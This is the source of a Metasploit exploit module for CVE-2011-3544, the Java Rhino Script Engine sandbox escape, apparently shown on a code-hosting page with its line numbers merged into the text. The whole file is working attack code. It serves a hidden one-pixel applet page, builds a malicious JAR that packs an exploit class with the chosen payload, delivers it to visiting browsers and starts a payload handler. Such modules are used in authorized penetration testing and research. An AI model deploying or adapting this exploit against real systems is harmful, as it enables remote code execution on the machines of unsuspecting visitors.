Path: blob/master/modules/exploits/multi/browser/java_rhino.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910include Msf::Exploit::Remote::BrowserAutopwn11autopwn_info({ :javascript => false })1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Java Applet Rhino Script Engine Remote Code Execution',18'Description' => %q{19This module exploits a vulnerability in the Rhino Script Engine that20can be used by a Java Applet to run arbitrary Java code outside of21the sandbox. The vulnerability affects version 7 and version 6 update2227 and earlier, and should work on any browser that supports Java23(for example: IE, Firefox, Google Chrome, etc)24},25'License' => MSF_LICENSE,26'Author' => [27'Michael Schierl', # Discovery28'juan vazquez', # metasploit module29'Edward D. Teach <teach[at]consortium-of-pwners.net>',30'sinn3r'31],32'References' => [33[ 'CVE', '2011-3544' ],34[ 'OSVDB', '76500' ],35[ 'ZDI', '11-305' ],36[ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],37],38'Platform' => %w{java linux win},39'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },40'Targets' => [41[42'Generic (Java Payload)',43{44'Arch' => ARCH_JAVA,45}46],47[48'Windows Universal',49{50'Arch' => ARCH_X86,51'Platform' => 'win'52}53],54[55'Apple OSX',56{57'ARCH' => ARCH_X86,58'Platform' => 'osx'59}60],61[62'Linux x86',63{64'Arch' => ARCH_X86,65'Platform' => 'linux'66}67]68],69'DefaultTarget' => 0,70'DisclosureDate' => '2011-10-18',71'Notes' => {72'Reliability' => UNKNOWN_RELIABILITY,73'Stability' => UNKNOWN_STABILITY,74'SideEffects' => UNKNOWN_SIDE_EFFECTS75}76)77)78end7980def on_request_uri(cli, request)81if not request.uri.match(/\.jar$/i)82if not request.uri.match(/\/$/)83send_redirect(cli, get_resource() + '/', '')84return85end8687print_status("#{self.name} handling request")8889send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })90return91end9293paths = [94[ "Exploit.class" ]95]9697p = regenerate_payload(cli)9899jar = p.encoded_jar100paths.each do |path|1011.upto(path.length - 1) do |idx|102full = path[0, idx].join("/") + "/"103if !(jar.entries.map { |e| e.name }.include?(full))104jar.add_file(full, '')105end106end107fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2011-3544", path), "rb")108data = fd.read(fd.stat.size)109jar.add_file(path.join("/"), data)110fd.close111end112113print_status("Sending Applet.jar")114send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })115116handler(cli)117end118119def generate_html120html = "<html><head></head>"121html += "<body>"122html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"123html += "</applet></body></html>"124return html125end126end127128129